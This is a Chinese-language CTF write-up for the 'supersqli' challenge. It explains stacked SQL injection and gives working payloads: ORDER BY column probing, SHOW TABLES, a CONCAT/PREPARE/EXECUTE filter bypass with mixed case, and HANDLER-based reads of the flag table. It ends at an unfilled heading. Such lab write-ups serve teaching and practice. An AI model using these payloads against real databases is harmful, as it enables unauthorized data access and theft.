12 supersqli(sql注入)
知识点
- 堆叠注入是重点
- 预编译 https://blog.csdn.net/Just__2009/article/details/109126437
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。 堆叠的语句是任意的而union只能用来查询
1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了
使用单引号报错,说明有注入的漏洞
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1
‘1 order by 2# 然后试试
order by 2的时候页面正常回显,order by 3的时候页面出错,所以我们知道只有两个字段。
使用这种—1’ union select 1,2#
发现select 被过滤了。
叠合注入
-1’;show tables # 显示表有哪些
所以我们找到flag在第一个表中,那么接下来我们要查看flag中的内容,但是这里select被过滤了,所以我们必须得绕过这个过滤,怎么绕过呢?我们可以采用预编译的方式进行绕过。
-1’;set @sql = CONCAT(‘sele’,‘ct * from
1919810931114514
;’);prepare aaa from @sql;EXECUTE aaa;#
但是当我们执行预编译语句的时候出现下图结果:
所以这里还同时过滤了set和prepare,那我们同时也要绕过它,如何绕过,我们可以采用大小写的形式进行绕过(经尝试,双写无法绕过)
1’;sEt @sql = CONCAT(‘sele’,‘ct * from
1919810931114514
;’);prepArE aaa from @sql;EXECUTE aaa;#
到这里,拿到flag
方法2
handler查询
mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。
-1’;handler
1919810931114514
open;handler1919810931114514
read first;#
上面payload是两个语句,一个是打开表,一个是读表中的第一行字段中的内容
方法4
这里看到别人分享的一个解题思路,感觉姿势挺独特,介绍一下
修改表名和列名